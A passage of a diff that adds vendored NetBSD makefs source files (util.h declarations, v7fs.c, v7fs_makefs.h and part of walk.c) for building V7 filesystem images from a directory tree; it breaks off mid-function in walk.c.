* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _UTIL_H_
|
||||
#define _UTIL_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/types.h>
|
||||
//#include <sys/ansi.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
#ifdef _BSD_TIME_T_
|
||||
typedef _BSD_TIME_T_ time_t;
|
||||
#undef _BSD_TIME_T_
|
||||
#endif
|
||||
#ifdef _BSD_SIZE_T_
|
||||
typedef _BSD_SIZE_T_ size_t;
|
||||
#undef _BSD_SIZE_T_
|
||||
#endif
|
||||
|
||||
#if defined(_POSIX_C_SOURCE)
|
||||
#ifndef __VA_LIST_DECLARED
|
||||
//typedef __va_list va_list;
|
||||
#define __VA_LIST_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#define PIDLOCK_NONBLOCK 1
|
||||
#define PIDLOCK_USEHOSTNAME 2
|
||||
|
||||
#define PW_POLICY_BYSTRING 0
|
||||
#define PW_POLICY_BYPASSWD 1
|
||||
#define PW_POLICY_BYGROUP 2
|
||||
|
||||
__BEGIN_DECLS
|
||||
struct disklabel;
|
||||
struct iovec;
|
||||
struct passwd;
|
||||
struct termios;
|
||||
struct utmp;
|
||||
struct utmpx;
|
||||
struct winsize;
|
||||
struct sockaddr;
|
||||
|
||||
char *flags_to_string(unsigned long, const char *);
|
||||
pid_t forkpty(int *, char *, struct termios *, struct winsize *);
|
||||
const char *getbootfile(void);
|
||||
int getbyteorder(void);
|
||||
off_t getlabeloffset(void);
|
||||
int getlabelsector(void);
|
||||
int getlabelusesmbr(void);
|
||||
int getmaxpartitions(void);
|
||||
int getrawpartition(void);
|
||||
const char *getdiskrawname(char *, size_t, const char *);
|
||||
const char *getdiskcookedname(char *, size_t, const char *);
|
||||
const char *getfstypename(int);
|
||||
const char *getfsspecname(char *, size_t, const char *);
|
||||
struct kinfo_vmentry *kinfo_getvmmap(pid_t, size_t *);
|
||||
#if 0
|
||||
//#ifndef __LIBC12_SOURCE__
|
||||
void login(const struct utmp *) __RENAME(__login50);
|
||||
void loginx(const struct utmpx *) __RENAME(__loginx50);
|
||||
#endif
|
||||
int login_tty(int);
|
||||
int logout(const char *);
|
||||
int logoutx(const char *, int, int);
|
||||
void logwtmp(const char *, const char *, const char *);
|
||||
void logwtmpx(const char *, const char *, const char *, int, int);
|
||||
int opendisk(const char *, int, char *, size_t, int);
|
||||
int opendisk1(const char *, int, char *, size_t, int,
|
||||
int (*)(const char *, int, ...));
|
||||
int openpty(int *, int *, char *, struct termios *,
|
||||
struct winsize *);
|
||||
#if 0
|
||||
//#ifndef __LIBC12_SOURCE__
|
||||
time_t parsedate(const char *, const time_t *, const int *)
|
||||
__RENAME(__parsedate50);
|
||||
#endif
|
||||
int pidfile(const char *);
|
||||
pid_t pidfile_lock(const char *);
|
||||
pid_t pidfile_read(const char *);
|
||||
int pidfile_clean(void);
|
||||
int pidlock(const char *, int, pid_t *, const char *);
|
||||
int pw_abort(void);
|
||||
#if 0
|
||||
//#ifndef __LIBC12_SOURCE__
|
||||
void pw_copy(int, int, struct passwd *, struct passwd *)
|
||||
__RENAME(__pw_copy50);
|
||||
int pw_copyx(int, int, struct passwd *, struct passwd *,
|
||||
char *, size_t) __RENAME(__pw_copyx50);
|
||||
#endif
|
||||
void pw_edit(int, const char *);
|
||||
//__dead void pw_error(const char *, int, int);
|
||||
void pw_getconf(char *, size_t, const char *, const char *);
|
||||
#if 0
|
||||
//#ifndef __LIBC12_SOURCE__
|
||||
void pw_getpwconf(char *, size_t, const struct passwd *,
|
||||
const char *) __RENAME(__pw_getpwconf50);
|
||||
#endif
|
||||
const char *pw_getprefix(void);
|
||||
void pw_init(void);
|
||||
int pw_lock(int);
|
||||
int pw_mkdb(const char *, int);
|
||||
void pw_prompt(void);
|
||||
int pw_setprefix(const char *);
|
||||
int raise_default_signal(int);
|
||||
int secure_path(const char *);
|
||||
int snprintb_m(char *, size_t, const char *, uint64_t, size_t);
|
||||
int snprintb(char *, size_t, const char *, uint64_t);
|
||||
int sockaddr_snprintf(char *, size_t, const char *,
|
||||
const struct sockaddr *);
|
||||
char *strpct(char *, size_t, uintmax_t, uintmax_t, size_t);
|
||||
char *strspct(char *, size_t, intmax_t, intmax_t, size_t);
|
||||
int string_to_flags(char **, unsigned long *, unsigned long *);
|
||||
int ttyaction(const char *, const char *, const char *);
|
||||
int ttylock(const char *, int, pid_t *);
|
||||
char *ttymsg(struct iovec *, int, const char *, int);
|
||||
int ttyunlock(const char *);
|
||||
|
||||
uint16_t disklabel_dkcksum(struct disklabel *);
|
||||
int disklabel_scan(struct disklabel *, char *, size_t);
|
||||
|
||||
/* Error checked functions */
|
||||
void (*esetfunc(void (*)(int, const char *, ...)))
|
||||
(int, const char *, ...);
|
||||
size_t estrlcpy(char *, const char *, size_t);
|
||||
size_t estrlcat(char *, const char *, size_t);
|
||||
char *estrdup(const char *);
|
||||
char *estrndup(const char *, size_t);
|
||||
intmax_t estrtoi(const char *, int, intmax_t, intmax_t);
|
||||
uintmax_t estrtou(const char *, int, uintmax_t, uintmax_t);
|
||||
void *ecalloc(size_t, size_t);
|
||||
void *emalloc(size_t);
|
||||
void *erealloc(void *, size_t);
|
||||
void ereallocarr(void *, size_t, size_t);
|
||||
struct __sFILE *efopen(const char *, const char *);
|
||||
//int easprintf(char ** __restrict, const char * __restrict, ...)
|
||||
// __printflike(2, 3);
|
||||
//int evasprintf(char ** __restrict, const char * __restrict,
|
||||
// __va_list) __printflike(2, 0);
|
||||
__END_DECLS
|
||||
|
||||
#endif /* !_UTIL_H_ */
|
||||
191
thirdparty/makefs/v7fs.c
vendored
Normal file
191
thirdparty/makefs/v7fs.c
vendored
Normal file
@@ -0,0 +1,191 @@
|
||||
/* $NetBSD: v7fs.c,v 1.8 2013/01/29 15:52:25 christos Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2011 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by UCHIYAMA Yasushi.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#if defined(__RCSID) && !defined(__lint)
|
||||
__RCSID("$NetBSD: v7fs.c,v 1.8 2013/01/29 15:52:25 christos Exp $");
|
||||
#endif /* !__lint */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <util.h>
|
||||
|
||||
#include "makefs.h"
|
||||
#include "v7fs.h"
|
||||
#include "v7fs_impl.h"
|
||||
#include "v7fs_makefs.h"
|
||||
#include "newfs_v7fs.h"
|
||||
|
||||
|
||||
#ifndef HAVE_NBTOOL_CONFIG_H
|
||||
#include "progress.h"
|
||||
static bool progress_bar_enable;
|
||||
#endif
|
||||
int v7fs_newfs_verbose;
|
||||
|
||||
void
|
||||
v7fs_prep_opts(fsinfo_t *fsopts)
|
||||
{
|
||||
v7fs_opt_t *v7fs_opts = ecalloc(1, sizeof(*v7fs_opts));
|
||||
const option_t v7fs_options[] = {
|
||||
{ 'p', "pdp", &v7fs_opts->pdp_endian, OPT_INT32, false, true,
|
||||
"PDP endian" },
|
||||
{ 'P', "progress", &v7fs_opts->progress, OPT_INT32, false, true,
|
||||
"Progress bar" },
|
||||
{ .name = NULL }
|
||||
};
|
||||
|
||||
fsopts->fs_specific = v7fs_opts;
|
||||
fsopts->fs_options = copy_opts(v7fs_options);
|
||||
}
|
||||
|
||||
void
|
||||
v7fs_cleanup_opts(fsinfo_t *fsopts)
|
||||
{
|
||||
free(fsopts->fs_specific);
|
||||
free(fsopts->fs_options);
|
||||
}
|
||||
|
||||
int
|
||||
v7fs_parse_opts(const char *option, fsinfo_t *fsopts)
|
||||
{
|
||||
|
||||
return set_option_var(fsopts->fs_options, option, "1", NULL, 0) != -1;
|
||||
}
|
||||
|
||||
void
|
||||
v7fs_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts)
|
||||
{
|
||||
struct v7fs_mount_device v7fs_mount;
|
||||
int fd, endian, error = 1;
|
||||
v7fs_opt_t *v7fs_opts = fsopts->fs_specific;
|
||||
|
||||
v7fs_newfs_verbose = debug;
|
||||
#ifndef HAVE_NBTOOL_CONFIG_H
|
||||
if ((progress_bar_enable = v7fs_opts->progress)) {
|
||||
progress_switch(progress_bar_enable);
|
||||
progress_init();
|
||||
progress(&(struct progress_arg){ .cdev = image });
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Determine filesystem image size */
|
||||
v7fs_estimate(dir, root, fsopts);
|
||||
printf("Calculated size of `%s': %lld bytes, %ld inodes\n",
|
||||
image, (long long)fsopts->size, (long)fsopts->inodes);
|
||||
|
||||
if ((fd = open(image, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
|
||||
err(EXIT_FAILURE, "%s", image);
|
||||
}
|
||||
if (lseek(fd, fsopts->size - 1, SEEK_SET) == -1) {
|
||||
goto err_exit;
|
||||
}
|
||||
if (write(fd, &fd, 1) != 1) {
|
||||
goto err_exit;
|
||||
}
|
||||
if (lseek(fd, 0, SEEK_SET) == -1) {
|
||||
goto err_exit;
|
||||
}
|
||||
fsopts->fd = fd;
|
||||
v7fs_mount.device.fd = fd;
|
||||
|
||||
#if !defined BYTE_ORDER
|
||||
#error
|
||||
#endif
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
if (fsopts->needswap)
|
||||
endian = BIG_ENDIAN;
|
||||
else
|
||||
endian = LITTLE_ENDIAN;
|
||||
#else
|
||||
if (fsopts->needswap)
|
||||
endian = LITTLE_ENDIAN;
|
||||
else
|
||||
endian = BIG_ENDIAN;
|
||||
#endif
|
||||
if (v7fs_opts->pdp_endian) {
|
||||
endian = PDP_ENDIAN;
|
||||
}
|
||||
|
||||
v7fs_mount.endian = endian;
|
||||
v7fs_mount.sectors = fsopts->size >> V7FS_BSHIFT;
|
||||
if (v7fs_newfs(&v7fs_mount, fsopts->inodes) != 0) {
|
||||
goto err_exit;
|
||||
}
|
||||
|
||||
if (v7fs_populate(dir, root, fsopts, &v7fs_mount) != 0) {
|
||||
error = 2; /* some files couldn't add */
|
||||
goto err_exit;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return;
|
||||
|
||||
err_exit:
|
||||
close(fd);
|
||||
err(error, "%s", image);
|
||||
}
|
||||
|
||||
void
|
||||
progress(const struct progress_arg *p)
|
||||
{
|
||||
#ifndef HAVE_NBTOOL_CONFIG_H
|
||||
static struct progress_arg Progress;
|
||||
static char cdev[32];
|
||||
static char label[32];
|
||||
|
||||
if (!progress_bar_enable)
|
||||
return;
|
||||
|
||||
if (p) {
|
||||
Progress = *p;
|
||||
if (p->cdev)
|
||||
strcpy(cdev, p->cdev);
|
||||
if (p->label)
|
||||
strcpy(label, p->label);
|
||||
}
|
||||
|
||||
if (!Progress.tick)
|
||||
return;
|
||||
if (++Progress.cnt > Progress.tick) {
|
||||
Progress.cnt = 0;
|
||||
Progress.total++;
|
||||
progress_bar(cdev, label, Progress.total, PROGRESS_BAR_GRANULE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
49
thirdparty/makefs/v7fs_makefs.h
vendored
Normal file
49
thirdparty/makefs/v7fs_makefs.h
vendored
Normal file
@@ -0,0 +1,49 @@
|
||||
/* $NetBSD: v7fs_makefs.h,v 1.2 2011/08/10 11:31:49 uch Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2011 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by UCHIYAMA Yasushi.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _MAKEFS_V7FS_H_
|
||||
#define _MAKEFS_V7FS_H_
|
||||
|
||||
typedef struct {
|
||||
int pdp_endian;
|
||||
int progress;
|
||||
v7fs_daddr_t npuredatablk; /* for progress bar */
|
||||
} v7fs_opt_t;
|
||||
|
||||
__BEGIN_DECLS
|
||||
void v7fs_estimate(const char *, fsnode *, fsinfo_t *);
|
||||
int v7fs_populate(const char *, fsnode *, fsinfo_t *,
|
||||
const struct v7fs_mount_device *);
|
||||
struct progress_arg;
|
||||
void progress(const struct progress_arg *);
|
||||
extern int v7fs_newfs_verbose;
|
||||
__END_DECLS
|
||||
#endif /*!_MAKEFS_V7FS_H_*/
|
||||
765
thirdparty/makefs/walk.c
vendored
Normal file
765
thirdparty/makefs/walk.c
vendored
Normal file
@@ -0,0 +1,765 @@
|
||||
|
||||
/*
|
||||
* Copyright (c) 2001 Wasabi Systems, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Written by Luke Mewburn for Wasabi Systems, Inc.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed for the NetBSD Project by
|
||||
* Wasabi Systems, Inc.
|
||||
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
|
||||
* or promote products derived from this software without specific prior
|
||||
* written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#if defined(__RCSID) && !defined(__lint)
|
||||
__RCSID("$NetBSD: walk.c,v 1.28 2013/02/03 06:16:53 christos Exp $");
|
||||
#endif /* !__lint */
|
||||
|
||||
#include <sys/param.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <sys/time.h>
|
||||
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <dirent.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include "util.h"
|
||||
|
||||
#include "makefs.h"
|
||||
#include "mtree.h"
|
||||
#ifndef ALLPERMS
|
||||
# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO)
|
||||
#endif
|
||||
|
||||
u_int
|
||||
nodetoino(u_int type)
|
||||
{
|
||||
|
||||
switch (type) {
|
||||
case F_BLOCK:
|
||||
return S_IFBLK;
|
||||
case F_CHAR:
|
||||
return S_IFCHR;
|
||||
case F_DIR:
|
||||
return S_IFDIR;
|
||||
case F_FIFO:
|
||||
return S_IFIFO;
|
||||
case F_FILE:
|
||||
return S_IFREG;
|
||||
case F_LINK:
|
||||
return S_IFLNK;
|
||||
#ifdef S_IFSOCK
|
||||
case F_SOCK:
|
||||
return S_IFSOCK;
|
||||
#endif
|
||||
default:
|
||||
printf("unknown type %d", type);
|
||||
abort();
|
||||
}
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
const char *
|
||||
nodetype(u_int type)
|
||||
{
|
||||
|
||||
return (inotype(nodetoino(type)));
|
||||
}
|
||||
|
||||
|
||||
const char *
|
||||
inotype(u_int type)
|
||||
{
|
||||
|
||||
switch (type & S_IFMT) {
|
||||
case S_IFBLK:
|
||||
return ("block");
|
||||
case S_IFCHR:
|
||||
return ("char");
|
||||
case S_IFDIR:
|
||||
return ("dir");
|
||||
case S_IFIFO:
|
||||
return ("fifo");
|
||||
case S_IFREG:
|
||||
return ("file");
|
||||
case S_IFLNK:
|
||||
return ("link");
|
||||
#ifdef S_IFSOCK
|
||||
case S_IFSOCK:
|
||||
return ("socket");
|
||||
#endif
|
||||
#ifdef S_IFDOOR
|
||||
case S_IFDOOR:
|
||||
return ("door");
|
||||
#endif
|
||||
default:
|
||||
return ("unknown");
|
||||
}
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
|
||||
#define HAVE_STRUCT_STAT_ST_FLAGS 0
|
||||
|
||||
static void apply_specdir(const char *, NODE *, fsnode *, int);
|
||||
static void apply_specentry(const char *, NODE *, fsnode *);
|
||||
static fsnode *create_fsnode(const char *, const char *, const char *,
|
||||
struct stat *);
|
||||
static fsinode *link_check(fsinode *);
|
||||
|
||||
|
||||
/*
|
||||
* walk_dir --
|
||||
* build a tree of fsnodes from `root' and `dir', with a parent
|
||||
* fsnode of `parent' (which may be NULL for the root of the tree).
|
||||
* append the tree to a fsnode of `join' if it is not NULL.
|
||||
* each "level" is a directory, with the "." entry guaranteed to be
|
||||
* at the start of the list, and without ".." entries.
|
||||
*/
|
||||
fsnode *
|
||||
walk_dir(const char *root, const char *dir, fsnode *parent, fsnode *join,
|
||||
int replace)
|
||||
{
|
||||
fsnode *first, *cur, *prev, *last;
|
||||
DIR *dirp;
|
||||
struct dirent *dent;
|
||||
char path[MAXPATHLEN + 1];
|
||||
struct stat stbuf;
|
||||
char *name, *rp;
|
||||
int dot, len;
|
||||
|
||||
assert(root != NULL);
|
||||
assert(dir != NULL);
|
||||
|
||||
len = snprintf(path, sizeof(path), "%s/%s", root, dir);
|
||||
if (len >= (int)sizeof(path))
|
||||
errx(1, "Pathname too long.");
|
||||
if (debug & DEBUG_WALK_DIR)
|
||||
printf("walk_dir: %s %p\n", path, parent);
|
||||
if ((dirp = opendir(path)) == NULL)
|
||||
err(1, "Can't opendir `%s'", path);
|
||||
rp = path + strlen(root) + 1;
|
||||
if (join != NULL) {
|
||||
first = cur = join;
|
||||
while (cur->next != NULL)
|
||||
cur = cur->next;
|
||||
prev = last = cur;
|
||||
} else
|
||||
last = first = prev = NULL;
|
||||
while ((dent = readdir(dirp)) != NULL) {
|
||||
name = dent->d_name;
|
||||
dot = 0;
|
||||
if (name[0] == '.')
|
||||
switch (name[1]) {
|
||||
case '\0': /* "." */
|
||||
if (join != NULL)
|
||||
continue;
|
||||
dot = 1;
|
||||
break;
|
||||
case '.': /* ".." */
|
||||
if (name[2] == '\0')
|
||||
continue;
|
||||
/* FALLTHROUGH */
|
||||
default:
|
||||
dot = 0;
|
||||
}
|
||||
if (debug & DEBUG_WALK_DIR_NODE)
|
||||
printf("scanning %s/%s/%s\n", root, dir, name);
|
||||
if (snprintf(path + len, sizeof(path) - len, "/%s", name) >=
|
||||
(int)sizeof(path) - len)
|
||||
errx(1, "Pathname too long.");
|
||||
if (lstat(path, &stbuf) == -1)
|
||||
err(1, "Can't lstat `%s'", path);
|
||||
#ifdef S_ISSOCK
|
||||
if (S_ISSOCK(stbuf.st_mode & S_IFMT)) {
|
||||
if (debug & DEBUG_WALK_DIR_NODE)
|
||||
printf(" skipping socket %s\n", path);
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (join != NULL) {
|
||||
cur = join->next;
|
||||
for (;;) {
|
||||
if (cur == NULL || strcmp(cur->name, name) == 0)
|
||||
break;
|
||||
if (cur == last) {
|
||||
cur = NULL;
|
||||
break;
|
||||
}
|
||||
cur = cur->next;
|
||||
}
|
||||
if (cur != NULL) {
|
||||
if (S_ISDIR(cur->type) &&
|
||||
S_ISDIR(stbuf.st_mode)) {
|
||||
if (debug & DEBUG_WALK_DIR_NODE)
|
||||
printf("merging %s with %p\n",
|
||||
path, cur->child);
|
||||
cur->child = walk_dir(root, rp, cur,
|
||||
cur->child, replace);
|
||||
continue;
|
||||
}
|
||||
if (!replace)
|
||||
errx(1, "Can't merge %s `%s' with "
|
||||
"existing %s",
|
||||
inode_type(stbuf.st_mode), path,
|
||||
inode_type(cur->type));
|
||||
else {
|
||||
if (debug & DEBUG_WALK_DIR_NODE)
|
||||
printf("replacing %s %s\n",
|
||||
inode_type(stbuf.st_mode),
|
||||
path);
|
||||
if (cur == join->next)
|
||||
join->next = cur->next;
|
||||
else {
|
||||
fsnode *p;
|
||||
for (p = join->next;
|
||||
p->next != cur; p = p->next)
|
||||
continue;
|
||||
p->next = cur->next;
|
||||
}
|
||||
free(cur);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cur = create_fsnode(root, dir, name, &stbuf);
|
||||
cur->parent = parent;
|
||||
if (dot) {
|
||||
/* ensure "." is at the start of the list */
|
||||
cur->next = first;
|
||||
first = cur;
|
||||
if (! prev)
|
||||
prev = cur;
|
||||
cur->first = first;
|
||||
} else { /* not "." */
|
||||
if (prev)
|
||||
prev->next = cur;
|
||||
prev = cur;
|
||||
if (!first)
|
||||
first = cur;
|
||||
cur->first = first;
|
||||
if (S_ISDIR(cur->type)) {
|
||||
cur->child = walk_dir(root, rp, cur, NULL,
|
||||
replace);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (stbuf.st_nlink > 1) {
|
||||
fsinode *curino;
|
||||
|
||||
curino = link_check(cur->inode);
|
||||
if (curino != NULL) {
|
||||
free(cur->inode);
|
||||
cur->inode = curino;
|
||||
cur->inode->nlink++;
|
||||
if (debug & DEBUG_WALK_DIR_LINKCHECK)
|
||||
printf("link_check: found [%llu, %llu]\n",
|
||||
(unsigned long long)curino->st.st_dev,
|
||||
(unsigned long long)curino->st.st_ino);
|
||||
}
|
||||
}
|
||||
if (S_ISLNK(cur->type)) {
|
||||
char slink[PATH_MAX+1];
|
||||
int llen;
|
||||
|
||||
llen = readlink(path, slink, sizeof(slink) - 1);
|
||||
if (llen == -1)
|
||||
err(1, "Readlink `%s'", path);
|
||||
slink[llen] = '\0';
|
||||
cur->symlink = strdup(slink);
|
||||
}
|
||||
}
|
||||
assert(first != NULL);
|
||||
if (join == NULL)
|
||||
for (cur = first->next; cur != NULL; cur = cur->next)
|
||||
cur->first = first;
|
||||
if (closedir(dirp) == -1)
|
||||
err(1, "Can't closedir `%s/%s'", root, dir);
|
||||
return (first);
|
||||
}
|
||||
|
||||
static fsnode *
|
||||
create_fsnode(const char *root, const char *path, const char *name,
|
||||
struct stat *stbuf)
|
||||
{
|
||||
fsnode *cur;
|
||||
|
||||
cur = calloc(1, sizeof(*cur));
|
||||
cur->path = strdup(path);
|
||||
cur->name = strdup(name);
|
||||
cur->inode = calloc(1, sizeof(*cur->inode));
|
||||
cur->root = root;
|
||||
cur->type = stbuf->st_mode & S_IFMT;
|
||||
cur->inode->nlink = 1;
|
||||
cur->inode->st = *stbuf;
|
||||
return (cur);
|
||||
}
|
||||
|
||||
/*
|
||||
* free_fsnodes --
|
||||
* Removes node from tree and frees it and all of
|
||||
* its decendents.
|
||||
*/
|
||||
void
|
||||
free_fsnodes(fsnode *node)
|
||||
{
|
||||
fsnode *cur, *next;
|
||||
|
||||
assert(node != NULL);
|
||||
|
||||
/* for ".", start with actual parent node */
|
||||
if (node->first == node) {
|
||||
assert(node->name[0] == '.' && node->name[1] == '\0');
|
||||
if (node->parent) {
|
||||
assert(node->parent->child == node);
|
||||
node = node->parent;
|
||||
}
|
||||
}
|
||||
|
||||
/* Find ourselves in our sibling list and unlink */
|
||||
if (node->first != node) {
|
||||
for (cur = node->first; cur->next; cur = cur->next) {
|
||||
if (cur->next == node) {
|
||||
cur->next = node->next;
|
||||
node->next = NULL;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (cur = node; cur != NULL; cur = next) {
|
||||
next = cur->next;
|
||||
if (cur->child) {
|
||||
cur->child->parent = NULL;
|
||||
free_fsnodes(cur->child);
|
||||
}
|
||||
if (cur->inode->nlink-- == 1)
|
||||
free(cur->inode);
|
||||
if (cur->symlink)
|
||||
free(cur->symlink);
|
||||
